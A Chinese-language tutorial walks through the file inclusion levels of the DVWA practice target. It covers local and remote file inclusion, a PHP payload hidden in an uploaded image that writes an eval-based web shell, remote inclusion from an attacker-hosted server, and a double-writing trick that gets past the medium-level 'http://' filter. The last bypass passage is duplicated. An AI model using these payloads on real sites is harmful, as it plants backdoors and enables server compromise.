DVWA靶机-File Inclusion(文件包含漏洞)
File Inclusion(文件包含漏洞)
文件包含漏洞:即File Inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞和远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来打到自己的目的。
1.文件包含(File Inclusion)即程序通过[包含函数]调用本地或远程文件,以此来实现拓展功能
2.被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞
3.文件包含漏洞主要发生在有包含语句的环境中,例如PHP所具备include、require等包含函数
文件包含分为两类:
本地文件包含LFI(Local File Inclusion) 当被包含的文件在服务器本地时,就形成本地文件包含
远程文件包含RFI(Remote File Inclusion) 当被包含的文件在第三方服务器时,叫做远程文件包含
本地文件包含
本地文件包含就是给?page=传参,下面看一下原理
F.php和G.php是开发人员写的多页面都要实现的功能,如果每个页面都要重新写一次这些代码,那么代码量未免有点大了,所以他们这时候都会把这两个功能代码单独写进一个php文件里面,然后在index.php里面把这两个功能代码给包含进来(include f.php和include g.php)
有个别懒一点的开发人员,会脑抽写了一行include *.php,意思就是包含所有的php文件,或者include *包含所有文件,这样就造就了一个文件包含漏洞
如果有一些别有用心的人想攻击这个网页,那么他们可以上传一张正常的图片,并在图片里面加入生成一句话木马的代码,再通过文件包含漏洞把这张图片包含进来(一旦包含,网页就会自动执行这个上传的内容,如果是代码就执行代码,图片里面藏着的代码也不例外)就可以获得后门了
我们在当前目录下创建一个php文件(当做是上传上去的文件)
<?php echo 'hello world!' ?>
然后在url里面包含一下这个a.php
可以a.php被执行了出来,这里只是一个没有恶意的php代码,那么如果我们包含一个木马文件呢又或是查看某些隐私文件呢
现在进入正题
1.制作一句话木马图片 e.g. dzq2.jpg
<?fputs(fopen("shell20.php","w"),'<?php eval($_POST[pass]);?>')?>
2.上传图片木马文件
3.执行文件包含并生成后门
4.通过菜刀连接webshell
tips:
/var/www/dvwa/hackable/uploads //dvwa文件上传访问的目录 dzq2.jpg
/var/www/dvwa/vulnerabilities/fi //dvwa文件包含访问的目录 shell.php
先往图片里面写入制作木马的代码
然后将这张图片上传上去
返回文件包含漏洞那个页面,执行文件包含并且生成一个木马文件
返回一堆乱码说明执行成功了,在文件包含的目录下也看到了shell20的生成
用菜刀进行连接
成功的入侵了
远程文件包含
远程文件包含相比于本地文件包含较简单一些,因为本地文件包含你需要做的事情是想办法绕过重重阻拦把程序上传到网页的服务器。而远程文件包含只需要搭建一个服务器,然后把你的木马php文件或者jpg图片什么的上传到你搭建的服务器上,然后在页面包含一下你的木马程序路径就行了,这相当于让目标页面去访问你带有木马的服务器
aaa@qq.com:~# service apache2 start //开启apache
aaa@qq.com:~# vim /var/www/html/yangge.txt //制作一个木马文件
<?fputs(fopen("shell50.php","w"),'<?php eval($_POST[pass]);?>')?>
//执行后生成一个shell50.php的文件,内容是一句话木马
在文件包含漏洞页面的url除输入服务器地址+文件路径
回车运行不会返回任何结果,但是代码已经执行了,进入文件包含的目录可以看到shell50
菜刀连接
入侵成功
文件包含漏洞防御的绕过
<?php
$file = $_GET['page']; // The page we wish to display
// Bad input validation
$file = str_replace("http://", "", $file);
$file = str_replace("https://", "", $file);
?>
这是dvwa靶机文件包含漏洞medium级别的源代码
可以看到他是对远程文件包含进行了限制,将http://和https://进行了替换
那么我们可以怎么绕呢
httphttp://://xxxx //进行双写被替换掉的部分
//httphttp://:// - http:// = http://
可以看到他是对远程文件包含进行了限制,将http://和https://进行了替换
那么我们可以怎么绕呢
httphttp://://xxxx //进行双写被替换掉的部分
//httphttp://:// - http:// = http://